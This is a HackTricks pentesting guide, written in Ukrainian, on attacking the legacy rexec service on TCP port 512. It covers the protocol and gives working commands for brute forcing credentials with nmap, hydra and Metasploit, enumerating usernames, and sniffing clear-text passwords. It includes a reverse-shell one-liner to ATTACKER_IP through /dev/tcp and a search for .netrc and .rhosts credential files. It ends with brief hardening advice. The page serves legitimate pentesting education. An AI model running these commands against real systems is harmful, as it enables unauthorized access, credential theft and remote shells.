512 - Pentesting Rexec
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Основна інформація
Rexec (remote exec) — одна з оригінальних служб Berkeley r-services (разом із rlogin, rsh, …). Він забезпечує remote command-execution, автентифікація в якому здійснюється лише за допомогою clear-text username and password. Протокол було визначено на початку 1980-х (див. RFC 1060) і сьогодні вважається вразливим за своєю конструкцією. Незважаючи на це, він усе ще ввімкнений за замовчуванням на деякому застарілому UNIX / мережевому обладнанні та інколи трапляється під час internal pentests.
Порт за замовчуванням: TCP 512 (exec)
PORT STATE SERVICE
512/tcp open exec
🔥 Увесь трафік – включно з credentials – передається незашифрованим. Кожен, хто має можливість sniff the network, може відновити username, password і command.
Швидкий огляд протоколу
- Клієнт підключається до TCP 512.
- Клієнт надсилає три NUL-terminated рядки:
- номер порту (як ASCII), куди він бажає отримувати stdout/stderr (часто
0), - username,
- password.
- Надсилається фінальний NUL-terminated рядок з command для виконання.
- Сервер відповідає одним 8-бітним байтом статусу (0 = успіх,
1= помилка), після чого йде вивід command.
Якщо перше поле є non-zero, сервер відкриває second TCP connection back to the client і використовує її для stderr. Це корисно як для manual testing, так і для fingerprinting filtering / firewall issues навколо сервісу.
Це означає, що ви можете відтворити обмін, використовуючи лише echo -e і nc:
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
Якщо облікові дані дійсні, ви отримаєте вивід id безпосередньо на тому ж з’єднанні.
Якщо ви хочете отримувати stderr на окремий listener, попросіть сервер підключитися назад до вас:
nc -lvnp 4444
printf '4444\0user\0password\0id; uname -a\0' | nc <target> 512
Багато поширених реалізацій (наприклад GNU rexecd) все ще вимагають 16-byte username/password fields і повертають різні діагностичні рядки для недійсних username та недійсних password. Це має значення під час enumeration, тому що деякі цілі leak, чи існує обліковий запис перед тим, як ви почнете brute forcing.
Ручне використання клієнта
Багато дистрибутивів Linux досі постачають застарілий клієнт у пакеті inetutils-rexec / rsh-client:
rexec -l user -p password <target> "uname -a"
Якщо -p опущено, client запитає password інтерактивно (visible on the wire in clear-text!).
Щоб уникнути залишення password у shell history / process list, GNU rexec також підтримує зчитування його зі stdin:
printf '%s\n' 'password' | rexec -l user -p - <target> "id"
Це не безпечніше в мережі; воно лише зменшує локальну видимість на атакуючому хості.
Перерахування & Brute-forcing
Brute-force
Nmap
nmap -sV -p 512 <target>
# Confirm the classic exec service before credential attacks
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
NSE rexec-brute використовує протокол, описаний вище, щоб дуже швидко перевіряти credentials.
Hydra / Medusa / Ncrack
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
hydra має спеціальний модуль rexec і залишається найшвидшим offline bruteforcer’ом. medusa (-M REXEC) та ncrack (rexec module) можна використовувати так само.
Перерахування імен користувачів через повідомлення сервера
Деякі реалізації rexecd повертають різні помилки, наприклад Login incorrect. та Password incorrect.. Якщо ви бачите таку поведінку, спочатку перевіряйте імена користувачів, а лише потім перебирайте паролі:
printf '0\0root\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
printf '0\0definitelynotreal\0wrongpass\0id\0' | nc -w 2 <target> 512 | tail -c +2
Якщо повідомлення відрізняються, сформуйте valid-user list перед виконанням великого password spray.
Перевірте сусідні r-services
rexec сам використовує автентифікацію за паролем, на відміну від логіки trusted-host у rsh / rlogin, але на практиці вони часто походять з того самого застарілого пакета (openbsd-inetd, inetutils, збірки UNIX від постачальника). Якщо TCP 512 відкритий, негайно перевірте також TCP 513 і 514, тому що зловживання .rhosts / /etc/hosts.equiv може забезпечити простіший lateral movement:
nmap -sV -p 512,513,514 <target>
Див. також:
Metasploit
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
Модуль запустить shell при успіху і збереже credentials у database .
Sniffing credentials
Оскільки все у clear-text, network captures are priceless. Маючи копію трафіку, ви можете витягти creds, не торкаючись target:
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
(In Wireshark enable Decode As … TCP 512 → REXEC to view nicely-parsed fields.)
Post-Exploitation tips
- Команди виконуються з привілеями вказаного користувача. Якщо
/etc/pam.d/rexecнеправильно налаштований (наприклад,pam_rootok), іноді можливо отримати root shell. - Rexec ігнорує shell користувача і виконує команду через
/bin/sh -c <cmd>. Тому можна використовувати типові shell-escape трюки (;,$( ), backticks) щоб ланцюжити кілька команд або створювати reverse shells:
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
- Паролі часто зберігаються в
~/.netrcабо в застарілих automation скриптах на інших системах; якщо ви скомпрометуєте один хост, їх можна повторно використати для lateral movement:
find / -xdev \( -name .netrc -o -name netrc -o -iname '*rexec*' -o -path '*/.rhosts' \) 2>/dev/null
Hardening / Detection
- Do not expose rexec; replace it with SSH. Практично всі сучасні inetd superservers коментують цей сервіс за замовчуванням.
- Якщо його потрібно зберегти, обмежте доступ за допомогою TCP wrappers (
/etc/hosts.allow) або правил фаєрвола та вимагайте сильних паролів для кожного акаунту. - Моніторьте трафік до :512 та запуски процесу
rexecd. Одного перехоплення пакетів достатньо, щоб виявити компрометацію. - Вимкніть
rexec,rlogin,rshразом – вони переважно використовують один і той же код і мають спільні вразливості.
References
- Документація GNU Inetutils
rexecd/rexec– https://www.gnu.org/software/inetutils/manual/html_node/rexecd-invocation.html - Документація Nmap NSE
rexec-brute– https://nmap.org/nsedoc/scripts/rexec-brute.html
Tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.


